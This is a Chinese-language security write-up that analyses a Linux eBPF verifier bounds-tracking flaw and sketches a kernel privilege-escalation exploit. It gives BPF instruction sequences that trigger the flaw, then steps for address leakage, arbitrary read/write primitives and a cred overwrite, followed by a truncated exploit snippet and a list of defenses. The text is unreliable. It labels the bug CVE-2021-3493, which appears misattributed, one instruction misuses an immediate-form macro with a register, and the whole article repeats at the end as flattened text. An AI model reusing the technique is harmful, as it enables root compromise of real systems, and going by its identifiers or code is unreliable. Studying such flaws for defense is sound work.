eBPF Verifer CVE-2021-3493分析与利用
字数 1890 2025-08-29 08:32:18

eBPF Verifier漏洞CVE-2021-3493分析与利用

漏洞概述

CVE-2021-3493是Linux内核eBPF验证器中的一个漏洞,允许攻击者绕过验证器的边界检查,导致内核地址泄露和权限提升。该漏洞存在于eBPF验证器对32位和64位寄存器边界值的处理不一致中。

漏洞背景

eBPF验证器负责跟踪每个寄存器的边界值(防止越界读写),会对寄存器的每一次运算模拟求解边界值(最大/最小值)。由于寄存器是64位,但实际参与运算可能是32位,因此需要对32/64位都进行边界校验。

漏洞分析

边界校验机制

验证器使用adjust_scalar_min_max_valsadjust_reg_min_max_vals函数完成边界校验:

static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                    struct bpf_insn *insn,
                    struct bpf_reg_state *dst_reg,
                    struct bpf_reg_state src_reg)
{
    struct bpf_reg_state *regs = cur_regs(env);
    u8 opcode = BPF_OP(insn->code);
    ...
    switch (opcode) {
    case BPF_ADD:
        scalar32_min_max_add(dst_reg, &src_reg);
        scalar_min_max_add(dst_reg, &src_reg);
        break;
    case BPF_SUB:
        scalar32_min_max_sub(dst_reg, &src_reg);
        scalar_min_max_sub(dst_reg, &src_reg);
        break;
    case BPF_MUL:
        scalar32_min_max_mul(dst_reg, &src_reg);
        scalar_min_max_mul(dst_reg, &src_reg);
        break;
    case BPF_AND:
        scalar32_min_max_and(dst_reg, &src_reg);
        scalar_min_max_and(dst_reg, &src_reg);
        break;
    ...
    }
}

漏洞根源

漏洞出现在32位的BPF_AND/BPF_OR/BPF_XOR运算上:

static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
                struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    
    if (src_known && dst_known)
        return;  // 漏洞点:32位已知时不更新边界值
    ...
}

与64位处理不同:

static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
                 struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_is_const(src_reg->var_off);
    bool dst_known = tnum_is_const(dst_reg->var_off);
    
    if (src_known && dst_known) {
        __mark_reg_known(dst_reg, dst_reg->var_off.value & src_reg->var_off.value);
        return;
    }
    ...
}

关键区别:

  • scalar32_min_max_and使用tnum_subreg_is_const校验低32位是否已知
  • scalar_min_max_and使用tnum_is_const校验整个64位是否已知

当寄存器低32位已知而高32位未知时,32位边界值不会被更新,导致验证器与实际运行时状态不一致。

边界值更新流程

adjust_scalar_min_max_vals函数返回前,会调用以下函数更新寄存器边界值:

__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);

其中__update_reg32_bounds根据reg.var_off计算边界值:

static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
    struct tnum var32_off = tnum_subreg(reg->var_off);
    
    reg->s32_min_value = max_t(s32, reg->s32_min_value,
                  var32_off.value | (var32_off.mask & S32_MIN));
    reg->s32_max_value = min_t(s32, reg->s32_max_value,
                  var32_off.value | (var32_off.mask & S32_MAX));
    reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
    reg->u32_max_value = min(reg->u32_max_value,
                 (u32)(var32_off.value | var32_off.mask));
}

漏洞触发示例

构造两个寄存器:

  1. R2.var_off = {mask = 0xffffffff00000000, value = 0x01} (低32位已知,高32位未知)
  2. R3.var_off = {mask = 0x0, value = 0x100000002} (整个64位已知)

执行BPF_AND(R2, R3)运算后:

  • R2.var_off = {mask = 0x100000000, value = 0x0}
  • 但R2.u32_min_value=1, R2.u32_max_value=0 (矛盾值)

漏洞利用

利用步骤概述

  1. 构造触发漏洞的寄存器状态
  2. 利用路径混淆绕过验证器检查
  3. 泄漏内核地址信息
  4. 构建任意地址读写原语
  5. 修改进程cred提权

构造寄存器状态

构造R8寄存器(完全已知):

BPF_LD_IMM64(BPF_REG_8, 0x1);        // r8 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32); // r8 << 32 == 0x100000000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2);  // r8 += 2 == 0x100000002

构造R6寄存器(低32位已知,高32位未知):

BPF_MAP_GET(0, BPF_REG_5);          // 从map加载完全未知的值
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5); // r6 = r5
BPF_MOV64_IMM(BPF_REG_2, 0xffffffff); 
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32); // r2 = 0xffffffff00000000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_2); // r6 &= r2
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1); // r6.var_off = {mask=0xffffffff00000000, value=0x01}

触发漏洞:

BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8); // r6 &= r8

路径混淆

验证器使用is_branch32_taken判断条件分支:

static int is_branch32_taken(struct bpf_reg_state *reg, u32 val, u8 opcode)
{
    switch (opcode) {
    case BPF_JGE:
        if (reg->u32_min_value >= val) return 1;
        else if (reg->u32_max_value < val) return 0;
        break;
    case BPF_JLE:
        if (reg->u32_max_value <= val) return 1;
        else if (reg->u32_min_value > val) return 0;
        break;
    }
    return -1;
}

利用矛盾边界值(umin_value > umax_value)使验证器误判分支路径。

信息泄漏

利用adjust_ptr_min_max_vals中的特殊处理泄漏内核地址:

if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
    smin_val > smax_val || umin_val > umax_val) {
    __mark_reg_unknown(env, dst_reg);
    return 0;
}

当scalar寄存器边界矛盾时,指针寄存器会被标记为unknown,从而可以存储在map中。

任意地址读写

  1. 任意地址读:利用bpf_map->btf指针和bpf_obj_get_info_by_fd

    • 修改bpf_array->bpf_map->btf为target_addr - 0x58
    • 调用bpf_obj_get_info_by_fd读取btf->id(即target_addr处的值)
  2. 任意地址写:替换map->ops->map_push_elemarray_map_get_next_key

    • 构造假的ops表,替换map_push_elem指针
    • 设置map->max_entries = 0xffffffff
    • 设置map->map_type = BPF_MAP_TYPE_STACK
    • 通过bpf_map_update_elem触发写操作

提权

  1. 泄漏init_pid_ns地址(内核基址+固定偏移)
  2. 遍历进程链表找到当前进程的task_struct
  3. 获取task_struct->cred地址
  4. 使用任意地址写修改cred为root(uid=0)

完整利用代码示例

// 构造触发漏洞的eBPF程序
struct bpf_insn prog[] = {
    // 初始化R8 (完全已知)
    BPF_LD_IMM64(BPF_REG_8, 0x1),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2),
    
    // 初始化R6 (低32位已知)
    BPF_MAP_GET(0, BPF_REG_5),
    BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),
    BPF_MOV64_IMM(BPF_REG_2, 0xffffffff),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
    BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_2),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1),
    
    // 触发漏洞
    BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8),
    
    // 后续利用代码...
};

// 触发执行
int write_msg() {
    write(sockets[0], buffer, sizeof(buffer));
}

防御措施

  1. 内核更新:修复边界校验不一致问题
  2. 启用KASLR:增加地址泄漏难度
  3. 限制eBPF权限:非特权用户禁用敏感操作
  4. 启用CONFIG_BPF_JIT_ALWAYS_ON:避免解释器路径

总结

CVE-2021-3493展示了eBPF验证器在边界值跟踪上的逻辑缺陷,通过精心构造的寄存器状态可以绕过验证器的安全检查,最终实现内核任意地址读写和权限提升。该漏洞强调了eBPF安全机制中边界条件处理的重要性。

eBPF Verifier漏洞CVE-2021-3493分析与利用 漏洞概述 CVE-2021-3493是Linux内核eBPF验证器中的一个漏洞,允许攻击者绕过验证器的边界检查,导致内核地址泄露和权限提升。该漏洞存在于eBPF验证器对32位和64位寄存器边界值的处理不一致中。 漏洞背景 eBPF验证器负责跟踪每个寄存器的边界值(防止越界读写),会对寄存器的每一次运算模拟求解边界值(最大/最小值)。由于寄存器是64位,但实际参与运算可能是32位,因此需要对32/64位都进行边界校验。 漏洞分析 边界校验机制 验证器使用 adjust_scalar_min_max_vals 和 adjust_reg_min_max_vals 函数完成边界校验: 漏洞根源 漏洞出现在32位的 BPF_AND / BPF_OR / BPF_XOR 运算上: 与64位处理不同: 关键区别: scalar32_min_max_and 使用 tnum_subreg_is_const 校验低32位是否已知 scalar_min_max_and 使用 tnum_is_const 校验整个64位是否已知 当寄存器低32位已知而高32位未知时,32位边界值不会被更新,导致验证器与实际运行时状态不一致。 边界值更新流程 在 adjust_scalar_min_max_vals 函数返回前,会调用以下函数更新寄存器边界值: 其中 __update_reg32_bounds 根据 reg.var_off 计算边界值: 漏洞触发示例 构造两个寄存器: R2.var_ off = {mask = 0xffffffff00000000, value = 0x01} (低32位已知,高32位未知) R3.var_ off = {mask = 0x0, value = 0x100000002} (整个64位已知) 执行 BPF_AND(R2, R3) 运算后: R2.var_ off = {mask = 0x100000000, value = 0x0} 但R2.u32_ min_ value=1, R2.u32_ max_ value=0 (矛盾值) 漏洞利用 利用步骤概述 构造触发漏洞的寄存器状态 利用路径混淆绕过验证器检查 泄漏内核地址信息 构建任意地址读写原语 修改进程cred提权 构造寄存器状态 构造R8寄存器(完全已知): 构造R6寄存器(低32位已知,高32位未知): 触发漏洞: 路径混淆 验证器使用 is_branch32_taken 判断条件分支: 利用矛盾边界值(umin_ value > umax_ value)使验证器误判分支路径。 信息泄漏 利用 adjust_ptr_min_max_vals 中的特殊处理泄漏内核地址: 当scalar寄存器边界矛盾时,指针寄存器会被标记为unknown,从而可以存储在map中。 任意地址读写 任意地址读 :利用 bpf_map->btf 指针和 bpf_obj_get_info_by_fd 修改 bpf_array->bpf_map->btf 为target_ addr - 0x58 调用 bpf_obj_get_info_by_fd 读取 btf->id (即target_ addr处的值) 任意地址写 :替换 map->ops->map_push_elem 为 array_map_get_next_key 构造假的ops表,替换 map_push_elem 指针 设置 map->max_entries = 0xffffffff 设置 map->map_type = BPF_MAP_TYPE_STACK 通过 bpf_map_update_elem 触发写操作 提权 泄漏 init_pid_ns 地址(内核基址+固定偏移) 遍历进程链表找到当前进程的 task_struct 获取 task_struct->cred 地址 使用任意地址写修改cred为root(uid=0) 完整利用代码示例 防御措施 内核更新:修复边界校验不一致问题 启用KASLR:增加地址泄漏难度 限制eBPF权限:非特权用户禁用敏感操作 启用CONFIG_ BPF_ JIT_ ALWAYS_ ON:避免解释器路径 总结 CVE-2021-3493展示了eBPF验证器在边界值跟踪上的逻辑缺陷,通过精心构造的寄存器状态可以绕过验证器的安全检查,最终实现内核任意地址读写和权限提升。该漏洞强调了eBPF安全机制中边界条件处理的重要性。